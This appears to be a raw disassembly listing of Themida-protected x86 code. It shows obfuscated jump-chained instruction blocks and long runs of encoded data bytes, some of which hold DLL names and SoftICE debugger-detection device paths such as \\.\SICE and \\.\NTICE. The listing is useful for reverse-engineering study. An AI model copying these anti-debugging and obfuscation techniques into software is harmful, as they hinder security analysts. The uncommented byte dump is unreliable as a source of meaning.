; ---------------------------------------------------------------------------

loc_56D744:				; CODE XREF: Themida_:0055D834j
		add	dword ptr [esp+4], 7A8B0EEAh
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 7A8B0EEAh
		add	dword ptr [esp+4], 468126Eh
		jmp	loc_56B9FF
; ---------------------------------------------------------------------------

loc_56D765:				; CODE XREF: Themida_:0056186Aj
		mov	eax, 681E6D3Dh
		xor	eax, ebx
		pop	ebx
		and	eax, 21310916h
		and	eax, 2F31435Ch
		jmp	loc_55B16D
; ---------------------------------------------------------------------------
		dd 51B0CB81h, 0EB810E57h, 0B535E45Ah, 8904EC83h, 0EC81242Ch
		dd 4, 0FEDD27E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D799:				; CODE XREF: Themida_:0055C658j
		mov	edi, 389F07B3h
		jmp	loc_5625EC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E904EF83h, 0FFFF0AE9h, 405E089h, 83000000h,	48704C0h
		dd 0F1E95C24h, 89FFFEB2h, 1368241Ch, 0FF4AC208h, 535B2434h
		dd 241C8B54h, 8104C483h, 4C3h, 4C38300h, 0FFF6F9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D7E1:				; CODE XREF: Themida_:00569D03j
		add	ebp, 161CE816h
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shl	ebx, 3
		jmp	loc_568E57
; ---------------------------------------------------------------------------
		dd 0E95DE929h, 0FFFF86E5h, 240C8B5Ch, 0FFDE12E9h, 88A9B7FFh
		dd 94AFE9FDh, 0F66FFFFh, 0EC8300B6h, 24348904h,	0FEEE68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D821:				; CODE XREF: Themida_:0055AB33j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		push	dword ptr [edi+1Ch]
		jmp	loc_558C0F
; ---------------------------------------------------------------------------

loc_56D836:				; CODE XREF: Themida_:0055F59Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_567FFC
; ---------------------------------------------------------------------------

loc_56D85C:				; CODE XREF: Themida_:0055FECDj
		mov	[esp], esi
		mov	esi, esp
		push	0E4Bh
		mov	[esp], edx
		mov	edx, 4
		push	edi
		push	edx
		mov	edx, 147A27DBh
		mov	edi, edx
		pop	edx
		jmp	loc_565904
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0CED2E924h, 8952FFFEh, 0DBE5E9E2h, 483FFFFh,	815A0424h
		dd 4C2h, 4EA8300h, 8B241487h, 0C892424h, 650A6824h, 8F540000h
		dd 4832404h, 81590424h,	4ECh, 0E33CE900h, 489FFFEh, 4B824h
		dd 0C2810000h, 5096637Eh, 0FF6472E9h, 190EBAFFh, 0D58919A0h
		dd 0FEC4B6E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h, 24048F5Ch
		dd 0E924248Bh, 0FFFF41BCh, 0E903EFC1h, 0FFFFEF57h, 44CC68h
		dd 241C8900h, 9055E3BBh, 81D3F71Ah, 0C41014C3h,	43BF575Dh
		dd 0E95BC11Fh, 0FFFEC52Eh
; ---------------------------------------------------------------------------

loc_56D920:				; CODE XREF: Themida_:00564AA7j
		sub	bl, 2Dh
		push	ecx
		mov	cl, 2Bh
		sub	bl, cl
		jmp	loc_565804
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0DFh
		dd 81250F22h, 5F9DCDE9h, 59C82905h, 0D583E955h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56D942:				; CODE XREF: Themida_:00561347j
		mov	ecx, edi
		pop	edi
		sub	ebx, 563E0F40h
		sub	ebx, ecx
		push	eax
		mov	eax, 563E0F40h
		add	ebx, eax
		pop	eax
		pop	ecx
		push	ecx
		mov	ecx, 52942D9Fh
		jmp	loc_56358A
; ---------------------------------------------------------------------------
		dw 8951h
		dd 5AC5E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D96A:				; CODE XREF: Themida_:00568821j
		sub	eax, 31206A03h
		jmp	loc_55C9F2
; ---------------------------------------------------------------------------

loc_56D974:				; CODE XREF: Themida_:005660C9j
		pop	ecx
		jmp	loc_568277
; ---------------------------------------------------------------------------

loc_56D97A:				; CODE XREF: Themida_:0056BFBFj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_561A04
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 4CFEE900h, 0ED81FFFFh, 5B6A841Ch, 8DE9EF01h
		dd 5FFFFFD8h, 0E95BDA29h, 1BAh,	6953E953h, 0DE29FFFFh
		dd 3CE9525Bh, 0FFFFFFB6h, 815D2434h, 4C4h, 6345E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D9CA:				; CODE XREF: Themida_:00558A72j
		sub	edi, 43885B54h
		sub	edi, esi
		add	edi, 43885B54h
		mov	esi, [esp]
		jmp	loc_5592E8
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFDC69h
; ---------------------------------------------------------------------------

loc_56D9E8:				; CODE XREF: Themida_:005602B0j
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	456Eh
		mov	[esp], edi
		push	esi
		mov	esi, 18556BC2h
		mov	edi, esi
		pop	esi
		sub	edi, 3DB76EDDh
		shl	edi, 2
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		push	7EFDh
		mov	[esp], edi
		xchg	eax, [esp]
		not	eax
		jmp	loc_563B07
; ---------------------------------------------------------------------------

loc_56DA2A:				; CODE XREF: Themida_:0056342Aj
		push	ebp
		push	edx
		jmp	loc_56AE59
; ---------------------------------------------------------------------------

loc_56DA31:				; CODE XREF: Themida_:0056336Aj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_565E5F
; ---------------------------------------------------------------------------

loc_56DA56:				; CODE XREF: Themida_:00565B83j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56965C
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 3F5561D6h, 3B90E281h, 0EDE93B7Fh
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DA7F:				; CODE XREF: Themida_:0056760Fj
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	3697h
		mov	[esp], edx
		jmp	loc_562B8A
; ---------------------------------------------------------------------------
		dd 0D187D2F7h, 0FEE1B5E9h, 80C9FEFFh, 0CB8805F1h, 0FFC0F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DAA9:				; CODE XREF: Themida_:00560129j
		mov	ebx, 0BF1613E9h
		jmp	loc_5616DE
; ---------------------------------------------------------------------------

loc_56DAB3:				; CODE XREF: Themida_:005658AAj
		sub	eax, 2552997h
		sub	eax, edi
		add	eax, 2552997h
		pop	edi
		pop	esi
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	7D7Bh
		mov	[esp], edx
		mov	edx, 2E3E1168h
		inc	edx
		add	edx, 7AE06CB5h
		shr	edx, 5
		and	edx, 1127775Ch
		add	edx, 40F20853h
		jmp	loc_55A5D5
; ---------------------------------------------------------------------------
		dd offset dword_5BE868
		align 2
		dw 489h
		dd 4B824h, 0BD550000h, 5A8E4CBBh, 0D4D0E94Dh, 28FFFFEh
		dd 0FEAD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DB1D:				; CODE XREF: Themida_:00559F34j
		add	edx, 3691039Bh
		jmp	loc_55F7E9
; ---------------------------------------------------------------------------
		dd 0F60BB551h, 2FF580DDh, 8090ED80h, 0DDF695EDh, 8058F580h
		dd 0ED80AFE5h, 0B4B252C4h, 885AD530h, 3D92E9ECh, 1C89FFFFh
		dd 9CF86824h, 1C8B6FF6h, 4C48324h, 34FFD831h, 1E61E924h
		dd 0C281FFFFh, 28557415h, 12BC281h, 0C22937D1h,	12BEA81h
		dd 37E937D1h, 68FFFF6Bh, 152Eh,	0FFF091E9h, 243433FFh
		dd 33243431h, 248B2434h, 0DDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DB9A:				; CODE XREF: Themida_:0055E3E8j
		pop	edi
		add	ecx, 3B0471E9h
		add	ecx, 16A27756h
		sub	ecx, ebp
		sub	ecx, 16A27756h
		push	1A0Ah
		mov	[esp], eax
		mov	eax, 5EC54785h
		sub	eax, 2717D780h
		sub	eax, 1
		push	ebp
		mov	ebp, 71394395h
		add	eax, 9E8403Dh
		sub	eax, ebp
		sub	eax, 9E8403Dh
		jmp	loc_55A0A9
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C4h, 241C3124h, 5C241C33h, 9C243CD2h, 0FEAC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DBF1:				; CODE XREF: Themida_:00566C37j
		shr	edi, 4
		jmp	loc_566C87
; ---------------------------------------------------------------------------
		db 0BDh, 11h, 5
		dd 0F5810FA6h, 3BC84D97h, 2D5DE831h, 81D99D3Ch,	48BC189h
		dd 0B02FE924h, 0EC83FFFEh, 4896602h, 3006B024h,	305866C3h
		dd 0C6FE5BDEh, 403EE80h, 0E9F0001Ch, 0FFFF89B8h, 8105E3C1h
		dd 5E3ECFC3h, 4EC838Fh,	51243489h, 0AF24D468h, 0E9815958h
		dd 69764ED5h, 7753C181h, 8BE929E3h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DC5B:				; CODE XREF: Themida_:00567BDDj
		mov	ebx, 629557F0h
		jmp	loc_55E8EA
; ---------------------------------------------------------------------------

loc_56DC65:				; CODE XREF: Themida_:00566CACj
		pop	eax
		jmp	loc_56B2B6
; ---------------------------------------------------------------------------
		db 1
		dd 2343E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DC72:				; CODE XREF: Themida_:0056B2F5j
		push	3B76h
		mov	[esp], ebp
		push	3AA65308h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	edi
		jmp	loc_55E950
; ---------------------------------------------------------------------------
		dd 82E9EA28h, 5EFFFFE9h, 3C8BF989h, 2B93E924h, 0CE25FFFFh
		dd 35777D25h, 68E56106h, 8B58C101h, 0E9522404h,	0FFFFA87Fh
		dd 2C481h, 81660000h, 66041DEBh, 7EB4C381h, 0FF2740E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DCC9:				; CODE XREF: Themida_:0055F531j
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_560611
; ---------------------------------------------------------------------------
		dd 0D457BDB8h, 5BD8315Eh, 46ECBD55h, 76E9492Bh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DCEB:				; CODE XREF: Themida_:0055EA88j
		add	bl, al
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 2Dh
		shr	bh, 7
		neg	bh
		jmp	loc_566310
; ---------------------------------------------------------------------------

loc_56DD03:				; CODE XREF: Themida_:00562FC2j
		xor	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_56B903
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E6895658h, 4C681h, 40E90000h, 5EFFFF55h, 1C5FB951h
		dd 0CA2943F0h, 0FFA8A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DD3D:				; CODE XREF: Themida_:0055DC49j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_559D38
; ---------------------------------------------------------------------------

loc_56DD48:				; CODE XREF: Themida_:00566EA8j
		xchg	eax, [esp]
		pop	esp
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_56C1E1
; ---------------------------------------------------------------------------

loc_56DD56:				; CODE XREF: Themida_:00565EC5j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	468Eh
		mov	[esp], ebx
		jmp	loc_56A2E4
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0FFFF32DEh
; ---------------------------------------------------------------------------

loc_56DD7C:				; CODE XREF: Themida_:0056BDF7j
		add	esp, 4
		neg	eax
		sub	eax, 61E4DD07h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560ABD
; ---------------------------------------------------------------------------

loc_56DD99:				; CODE XREF: Themida_:0055D4ECj
		push	ecx
		mov	ecx, 0AB389Bh
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		jmp	loc_5660C8
; ---------------------------------------------------------------------------
		db 58h,	1, 0DAh
		dd offset dword_56F468
		dd 240C8900h, 3D0538B9h, 59CA296Eh, 5D4DE95Bh, 53ACFFFFh
		dd 0FE8BE952h, 11BBFFFEh, 89D2ACADh, 241C8BD9h,	8104C483h
		dd 0F0414EE9h, 50C10169h, 7B2584B8h, 0E8C14819h, 0FEB0E904h
		dd 0D6F7FFFFh, 45EE814Eh, 291CA5EBh, 0E8295EF5h, 0FEB2BEE9h
		dd 48B66FFh, 4EC8324h, 89242C89h, 0E612E9E5h, 248BFFFFh
		dd 0F9F6E924h, 3C89FFFEh, 0FBE7E924h, 8951FFFEh, 4BD55E1h
		dd 1000000h, 0BB535DE9h, 4, 875BD901h, 0F5C240Ch, 9C2404A3h
		dd 0FEAA47E9h, 0A6E95AFFh, 0FFFFFF30h, 835B2434h, 0E95304C4h
		dd 0FFFEC0C7h, 0E9243C8Bh, 0FFFF0BE5h, 2E216856h, 815E6C86h
		dd 0CC1BFBC6h, 28C68166h, 898138F9h, 0D14D5EF5h, 7E5C1EDh
		dd 0FF3456E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DE81:				; CODE XREF: Themida_:005626EDj
		xor	ecx, [esp]
		pop	esp
		push	498Ch
		mov	[esp], esi
		mov	esi, 5B0C1692h
		xor	eax, esi
		pop	esi
		jmp	loc_55ABC5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4E682404h, 8900004Dh, 5B54241Ch, 4C381h, 0E9550000h
		dd 0FFFF0895h, 4C481h, 0C4810000h, 4, 4C581h, 0E1E90000h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55FD7E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 40BEF81h, 0F7596907h, 0EFC147D7h, 0CAC78102h, 81DA3717h
		dd 5B471BEAh, 0F251E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DEF2:				; CODE XREF: Themida_:00558C38j
		xchg	eax, ecx
		jmp	loc_55ECA4
; ---------------------------------------------------------------------------
		dd 23D1E959h, 36EBFFFFh, 52455355h, 642E3233h, 41006C6Ch
		dd 50415644h, 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch
		dd 7D7006Ch, 40007h, 12001Ah, 1B0013h, 8D9B027Fh, 0B4E95FF1h
		dd 68000008h, 6089C3Ah,	0FDE268E9h, 9CA468FFh, 5EE90608h
		dd 68FFFDE2h, 6089DB6h,	0FDE254E9h, 9F2B68FFh, 4AE90608h
		dd 68FFFDE2h, 6089FAAh,	0FDE240E9h, 0A09268FFh,	36E90608h
		dd 68FFFDE2h, 608A0E5h,	0FDE22CE9h, 703F4AFFh, 0C97F00Eh
		dd 0AAF98CAAh, 4D5A2A48h, 0EEB5CDEBh, 0F2E4918Ch, 93B11390h
		dd 3654B6F5h, 0D6F4564Dh, 3C91F3B0h, 173786BBh,	0A7BD33CDh
		dd 5192ACE3h, 972A18BAh, 0EC2172D2h, 2DC4C0D1h,	3B61C223h
		dd 2F551C71h, 75861778h, 0C4C17D40h, 5CC6B52Dh,	24DFFD47h
		dd 414066C7h, 0C31A740Ch, 8C1D7E2Bh, 6D0FF8F5h,	41676EBCh
		dd 0B5ACFC1Fh, 5162FA24h, 0A0CDA11Ch, 0CCF2530Dh, 14A5ED02h
		dd 0BDF203h, 0F40DA0CEh, 6A4A6D93h, 600B9E9Ch, 285D6EFFh
		dd 79EDB95h, 4D0F657h, 0C54FDE75h, 56B2CF20h, 9096630h
		dd 8B326778h, 9E079F79h, 0FF60BDEAh, 29C9DAD9h,	6DAE965Bh
		dd 299AFAA1h, 0E50B6AC8h, 9D25CAC2h, 0E5A0C005h, 0A00160BEh
		dd 0D6176F0Fh, 6C5B0C94h, 0F052B306h, 0C2F7B4D2h, 0A434372Fh
		dd 0CFFC9CF8h, 60000006h, 0FA187A29h, 9EBC1E8Dh, 405EC0E7h
		dd 0DFFD5F44h, 0A39E00A3h, 257E04DAh, 0C4E3A5C3h, 643F4462h
		dd 9A2E402h, 9CD152A7h,	33CD1821h, 9AF9BDD3h, 761BFECh
		dd 0E419AAEAh, 2BCCE19Eh, 0D9D2B4D4h, 15AA1348h, 0E94A33CDh
		dd 2C57F788h, 8AF91779h, 0E79FBD1Bh, 1666578Ch,	258633CDh
		dd 45FE8FC4h, 6FCB7E08h, 665CFh, 1493F600h, 0B8F394B2h
		dd 564D3856h, 0F9AED6F4h, 9A097997h, 9EB03D38h,	3F5DBFE4h
		dd 0DAF85A49h, 7A98FAA9h, 0E83D9F0Ch, 188B3267h, 4B6133CDh
		dd 0BFEC9A87h, 0A9434361h, 0E6DCBDAh, 54314FADh, 58B9EE96h
		dd 0FFACDCFAh, 1C8A38A1h, 0E9BD5BA4h, 0ED78CC24h, 5B9BA8h
		dd 9AD70000h, 95DBFECh,	0C47BBC05h, 9211752Dh, 79B9D630h
		dd 0B66B3E8h, 2E4E2BC2h, 4C4E9855h, 55498E01h, 0D63796F4h
		dd 0EE233445h, 33CAD1CFh, 2B892662h, 0E80E6FCCh, 0CDBB295Ah
		dd 0C02180DEh, 0A143405Eh, 0A69C7E6h, 0D20718A9h, 33CAD1EBh
		dd 461463Eh, 11B17DA3h,	5B2h, 0BFEC9A3Dh, 0EBEA0761h, 9CEA0A99h
		dd 0F152B10Fh, 0DBC8C060h, 8381B6B5h, 452BC26Fh, 31C2E1A5h
		dd 0CA90C1FCh, 0ACD23333h, 0A21B50E1h, 5233CA90h, 0F2B1D1F1h
		dd 72D43594h, 17793254h, 0CF60A0BDh, 0D2F6DD9Ah, 21B21331h
		dd 41A30281h, 0E7456023h, 0B9EEBDC9h, 84025132h, 53EF8FEBh
		dd 0E4000005h, 86A406A5h, 2240A201h, 0C4E24463h, 6381E3C0h
		dd 2722841Fh, 0A9FA885Eh, 505F2947h, 0F0B3D0EEh, 8D16708Eh
		dd 2055D62Bh, 33CD189Dh, 2975394Fh, 8BABFA89h, 0EF4EACF7h
		dd 0AA4B3BC9h, 8F97BED8h, 0B715761Dh, 2DBEED99h, 1CD6E71Ch
		dd 0ADE22DC5h, 2DC51D10h, 0C52683E4h, 0B8CD39Fh, 0B6CF1D6Bh
		dd 0D13291EFh, 55178FABh, 2DC51C52h, 7F2CEC64h,	77973348h
		dd 0DA39970Eh, 0F351E879h, 3226CF4h, 0C4335915h, 92046BADh
		dd 4F07EA6Ch, 0B960A8EEh, 9CFFFFFEh, 5A8FEC9Ah,	2DC47C63h
		dd 8CE9BEC6h, 126CCA2Bh, 1324B5FDh, 6C921173h, 0C27FEF49h
		dd 2284E52Bh, 0DA6BABC8h, 0D6C432C9h, 3ED5AD3Bh, 21F89B67h
		dd 597FE050h, 0C88F9E36h, 0C5C06031h, 0FB2180DEh, 0BE71CF30h
		dd 2DC4B102h, 8CF69695h, 0D1D5F117h, 0EDAEB43Ch, 16AB3A8h
		dd 0ACEF0000h, 29698692h, 7B1D6398h, 83232BC2h,	58EA500h
		dd 723D3ABAh, 0E6774268h, 0CAC90CB1h, 1E7FE033h, 0B561476Ah
		dd 3F54FA24h, 41CF66F7h, 0D9AEFA15h, 55B6ED98h,	1E2E8FC4h
		dd 5DBE0DA1h, 0B1033837h, 230B9EEBh, 25638103h,	68C92886h
		dd 324FA907h, 602C61F2h, 1E059CD3h, 419F047Eh, 0DD79A2Ch
		dd 0AC0D8AE6h, 0C95ABB86h, 15AB9A32h, 0C2E8533Dh, 486323C3h
		dd 0E5BEC8E6h, 34753BB0h, 0CAC08A4h, 3DEh, 298B1A6Fh, 0CF317C0Bh
		dd 73D5D4B1h, 16782F55h, 0B7198AF8h, 651D33BCh,	0CABEDC3Eh
		dd 265D7BDDh, 87FF1D7Fh, 0E465BA1Ch, 0CD1B0EAFh, 4C8DE33h
		dd 4342015Eh, 46A70664h, 0E21A80B5h, 0AF102BCCh, 9F047E1Eh
		dd 0BCA1B388h, 0AFD5478Ch, 86FF9FB0h, 4B62C11Fh, 5F8DE9DCh
		dd 12A0C666h, 96157371h, 3344D335h, 0CCB2BFFEh,	0AED43533h
		dd 0E2406320h, 0B4E9C2C4h, 7E08A949h, 5F1ABA16h, 0F0000003h
		dd 8AA80A99h, 2E4CAEFDh, 0D0EE5057h, 6F8DEFB4h,	332E9013h
		dd 0B5EE944Ah, 54533553h, 0F4AFD4F2h, 99127492h, 2C61E237h
		dd 33CD1B91h, 9A894D63h, 4361BFECh, 0D0DFA943h,	2CCA116Fh
		dd 7AB5F27Ah, 73872DC4h, 0A8ED767Eh, 0FFFD0BE9h, 0EC9A25FFh
		dd 0EA0761BFh, 0C0E419AAh, 0B22BC27Ch, 5BB9F692h, 0E5399BFCh
		dd 0B6568DACh, 1A79D7CCh, 0CDD52AF4h, 0BDE69C3Ch, 0DBDA005Fh
		dd 0C27ADAA6h, 26B7182Bh, 496C108Fh, 95CDC820h,	83E9003Ah
		dd 0DAFC22D0h, 0D9A400B7h, 9898F58Bh, 31E2D207h, 0B718D9D4h
		dd 0A2018626h, 3956B07Ch, 0AED168F9h, 0C1AC1FCAh, 194E4D73h
		dd 0D3DA1773h, 76871879h, 688D3065h, 0F62BDBD6h, 0DBD667C7h
		dd 586FCC2Dh, 0BB53D898h, 5B81E279h, 88EAB9CDh,	5A8F1C6Ah
		dd 0D5FFA5F1h, 7772126Eh, 8000002h, 0A2C02281h,	4664C6E5h
		dd 0E806683Fh, 87A5079Ch, 4B46A8FBh, 0CDD6ACA2h, 6C3B4D6Bh
		dd 0C97EC0Ah, 0B1FA8CAAh, 4479FA4Fh, 33CD1C79h,	5EA1657Bh
		dd 3B700101h, 2BCCE255h, 0AD4DDE3Fh, 4F6DCFD6h,	0F5137134h
		dd 0FEDD1291h, 4F7E0845h, 22453F3h, 0D4B50000h,	325573D5h
		dd 92F31173h, 0F193B113h, 503250B2h, 9F6F153h, 16782B57h
		dd 0B11390F8h, 53B5F093h, 0F0525135h, 0D8E51A9Bh, 1C33CD1Bh
		dd 15E4206h, 553B7001h,	3F2BCCE2h, 164479AEh, 47A833CDh
		dd 0D1B555E6h, 0FF1670D2h, 0CEF52ABBh, 2233CD15h, 3DD463C1h
		dd 7928C2B7h, 0F482A8B9h, 7384158Eh, 0CCF97F3Eh, 0EE147533h
		dd 91F18122h, 3F56B012h, 0E69D473Ch, 0A10261BFh, 4B7AAF40h
		dd 0A133CCF9h, 760FAF40h, 4C72D12Fh, 87246280h,	8EF88829h
		dd 0F195B315h, 1030EB82h, 4AE2DB21h, 0CD2F2895h, 22B5CC33h
		dd 0F8C6A3EAh, 3D9BFC5Dh, 0BE3DD131h, 3E4578ADh, 3E7333CDh
		dd 33CD3E7Fh, 97B71475h, 0FB5AB8EBh, 4E58749Ah,	76D8D3B3h
		dd 0E4752E58h, 4624144h, 95B37FA5h, 0EF58B6EDh,	0EA9C6541h
		dd 41415FC1h, 0AF80462h, 0C33E6804h, 6482E4BFh,	927851Eh
		dd 0AFCD2B7Ah, 0DF6ECCD7h, 0CD3E13AAh, 5878D933h, 0AD16742Fh
		dd 0B4E9A7FFh, 33CD3E09h, 0FC298AEBh, 5929D8CEh, 0BCCAE84Ah
		dd 1DDE91EFh, 839BBFDFh, 0D6B05155h, 394D6BCDh,	94EE0C6Ah
		dd 0B6C3750h, 0E6C06EADh, 0B28213AAh, 935A9CC3h, 3FDF5F5Eh
		dd 0D33495ECh, 7D671FADh, 0E342A007h, 84022082h, 126FC927h
		dd 5F708112h, 3FDE932Ah, 0B6ED96ECh, 0B9E1F859h, 80033692h
		dd 5FF1143Ah, 0D5EA3DCCh, 5BB81274h, 2B95CA5Bh,	0C9E44A58h
		dd 2E40D768h, 0D7CCB85Eh, 0A0D736C0h, 0FE5DBBE8h, 1CAB779Dh
		dd 63E90C7Ch, 3B8C0C2Fh, 98B61475h, 0F655B3F0h,	0A5E16F95h
		dd 0AFD57506h, 0E402D2F8h, 677809A2h, 39FF8B32h, 0F7D9A7ECh
		dd 0BC454992h, 2499CE5Fh, 0C8EC39F2h, 14E00667h, 0B2CCB861h
		dd 0E9DE932h, 0B3F092B0h, 683EEC55h, 3D691758h
		dd 0D2D1B353h, 61EF1574h, 6248625h, 88236480h, 0D9ABC927h
		dd 30416CCAh, 0D3D3EA1Fh, 0B8191550h, 59B7EC98h, 0EEB8D4FAh
		dd 9797313h, 0BDDD3C9Ah, 1E7DDBCAh, 493D5BBDh, 35CFC5Ah
		dd 88000000h, 0EF9A065Ah, 424462C0h, 96ED0B69h,	0F593B10Fh
		dd 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h, 0BCCBE947h
		dd 511B93F1h, 0C181E189h, 4, 8704E983h,	895C240Ch, 8951243Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 14895C24h, 0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 55240489h,	89B50BDh
		dd 8BEA8906h, 0C483242Ch, 48B5404h, 4C48124h, 52000000h
		dd 622B951h, 4C310562h,	8F590424h, 70810840h, 62062208h
		dd 24048B05h, 5E08950h,	4, 8704C083h, 0FF5C2404h, 835A2434h
		dd 0C6E904C4h, 13FFFDD9h, 1E889823h, 0B81066BFh, 608A32Eh
		dd 0E0FFC503h, 4194D12Ch, 28507C41h, 38420B57h,	3D4914CAh
		dd 55D4C691h, 6AEF2864h, 5A2346A3h, 0BE8h, 32577900h, 79AC434Ch
		dd 68E4E60Dh, 5870Fh, 81660000h, 5ADE62C3h, 61D98B60h
		dd 5DE1C281h, 8A510000h, 4E685FDEh, 0E8000017h,	0Bh, 99242FB4h
		dd 0F43D9DD9h, 81258D47h, 0E88183E3h, 66585B4Dh, 7C06C681h
		dd 0FE8B0A8Bh, 8FDEF181h, 9EBB777Bh, 810D1784h,	527764C1h
		dd 30BB667Eh, 36E9819Ch, 81359CD3h, 4A9661DBh, 660A893Eh
		dd 50CCE681h, 0BB01EA83h, 48FC7C9h, 0F4A4A4Ah, 0E883FFB7h
		dd 0B850F01h, 0E9000000h, 1Eh, 6360B78h, 8E0F1AB6h, 5
		dd 0E901DBBBh, 0FFA2E96Fh, 0C3B0FFFFh, 0A0EEC2E1h, 72E9D6EEh
		dd 60000000h, 112DBD83h, 0F000606h, 584h, 5DE900h, 6A0000h
		dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh
		dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
		dd 6061F69h, 50905090h,	6A243489h, 195FF00h, 6106062Fh
		dd 0C185C6C3h, 4D060601h, 40472268h, 24348185h,	2175318Ah
		dd 154DB5FFh, 858D0606h, 60639F5h, 8589D0FFh, 6062F01h
		dd 0AE8h, 0CFDBDF00h, 0D2AF9BA7h, 0E986F5F6h, 11h, 18D99A4Ah
		dd 8930CB3Ch, 3D1890D7h, 80547641h, 8D8B5B59h, 6061AF1h
		dd 6816C381h, 0BF0F0000h, 0FFF2BC9h, 34FFD1BFh,	78D4801Fh
		dd 6D95895Eh, 81060607h, 937AEAEEh, 0EE859h, 5DD90000h
		dd 12096745h, 268DCECAh, 0FBAD062Fh, 5983E280h,	4B3C681h
		dd 8D890E78h, 6062519h,	8BF9EE81h, 1CBA3F4Ah, 56007018h
		dd 21D59589h, 48F0606h,	0C28B663Bh, 0E801EF83h,	11h, 6DDEA323h
		dd 0FD29DD2Ah, 0C092E6D3h, 4FB6B59Eh, 2D85899Ah, 59060616h
		dd 0F4F4F4Fh, 0FF81C3BFh, 0FFFF98E0h, 28850Fh, 14E90000h
		dd 12000000h, 3044D4D0h, 2559C328h, 6E5095EFh, 0B7778990h
		dd 0E9932ECDh, 27h, 0C5B77F24h,	8A54503Bh, 958BBE59h, 60614A9h
		dd 0FFFF4DE9h, 74D0F2FFh, 0F616EC39h, 0E6EACE11h, 0C00FE4DBh
		dd 0EB2FA0F5h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h,	49535C2Eh
		dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 9DBD31C0h
		dd 83060611h, 630D1BDh,	9750006h, 4B5BD83h, 74000606h
		dd 8B535019h, 40FB8C0h,	85890000h, 6062C51h, 0B2619D8Dh
		dd 0D3FF0608h, 0BD83585Bh, 60604B5h, 50177400h,	40FB853h
		dd 85890000h, 6062C51h,	0AF509D8Dh, 0D3FF0608h,	9D01585Bh
		dd 6061B0Dh, 1E99589h, 0C08B0606h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0DAC35040h,	0CB6F128Ch, 0C185C6F5h
		dd 43060601h, 68F28B66h, 0C9E24A5Eh, 85F352BEh,	24348107h
